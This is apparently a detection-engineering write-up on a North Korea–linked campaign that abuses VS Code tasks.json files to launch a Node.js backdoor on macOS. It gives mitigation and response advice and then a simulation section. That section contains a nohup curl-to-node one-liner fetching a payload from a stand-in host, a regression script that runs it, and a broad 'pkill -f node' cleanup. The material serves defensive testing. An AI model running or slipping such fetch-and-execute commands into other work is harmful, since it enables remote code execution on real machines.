How Threat Actors Are Weaponizing Microsoft Visual Studio Code

Summary

The report outlines a North Korea–linked operation that weaponizes Visual Studio Code task configuration files to trigger execution of a malicious JavaScript payload on macOS. The payload is launched via a nohup-initiated Bash command that retrieves a script from a Vercel host and executes it with Node.js. Once running, the backdoor collects host information, establishes contact with a command-and-control (C2) server, and supports remote tasking by executing arbitrary attacker-supplied JavaScript.

Investigation

Jamf Threat Labs observed the chain beginning when a victim clones a tainted Git repository and opens it in Visual Studio Code. VS Code then processes the repository’s tasks.json, which contains a command designed to quietly download and run the JavaScript backdoor. The implant performs periodic beaconing to a remote server, pulls follow-on instructions, and includes a self-termination capability to reduce exposure when directed by the operator.

Mitigation

Enforce hardened VS Code governance by disabling or tightly restricting automatic execution of tasks.json content and limiting Node.js execution to approved workflows. Use endpoint controls to detect and block suspicious shell activity (notably nohup-style background execution and curl-retrieval patterns) and to prevent connections to known malicious domains. Require repository vetting and controlled “trust” decisions for third-party codebases before opening them in developer environments.

Response

Alert on the characteristic nohup Bash pattern that pipes curl output directly into node, and monitor for network traffic involving vercel.app and ipify.org. Hunt across endpoints for the associated JavaScript backdoor and related VS Code task artifacts. If indicators are present, isolate affected hosts, preserve relevant forensic data (repository contents, tasks.json, shell history, process/network telemetry), and block the identified infrastructure to disrupt command-and-control.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:
  An adversary linked to a DPRK‑associated threat group has obtained a malicious JavaScript payload hosted on a compromised web server. To avoid writing files to disk and to blend with normal administrative scripting, they launch the payload in a detached background session:

  1. Start a detached shell using nohup so the process survives session termination.
  2. Within the shell, invoke bash -c to execute a one‑liner.
  3. Use curl -s to silently retrieve the JavaScript from http://malicious.example/payload.js.
  4. Pipe the output directly to node, causing immediate execution in memory.

  The exact command line (captured by auditd) is:

  nohup bash -c "curl -s http://malicious.example/payload.js | node" &

  This matches every selector in the Sigma rule, thus generating an alert.

• Regression Test Script:

  #!/bin/bash
  #
  # Simulate DPRK‑linked infection chain: download & execute JS via Node.js
  # --------------------------------------------------------------
  # Preconditions:
  #   - curl, node, and nohup must be installed.
  #   - The endpoint http://malicious.example/payload.js must be reachable.
  #   - Running as a non‑root user to mimic typical attacker behavior.
  #
  # Execution:
  nohup bash -c "curl -s http://malicious.example/payload.js | node" >/dev/null 2>&1 &
  echo "Malicious chain started (PID $!)"

  Save the script as simulate_dprk_chain.sh, make it executable (chmod +x simulate_dprk_chain.sh), and run it.

• Cleanup Commands:

  # Kill any stray node processes started by the test
  pkill -f "node"   # careful on production; refine with grep for payload.js if needed
  
  # Remove any temporary files that might have been created by the payload
  rm -f /tmp/*payload* 2>/dev/null
  
  echo "Cleanup complete."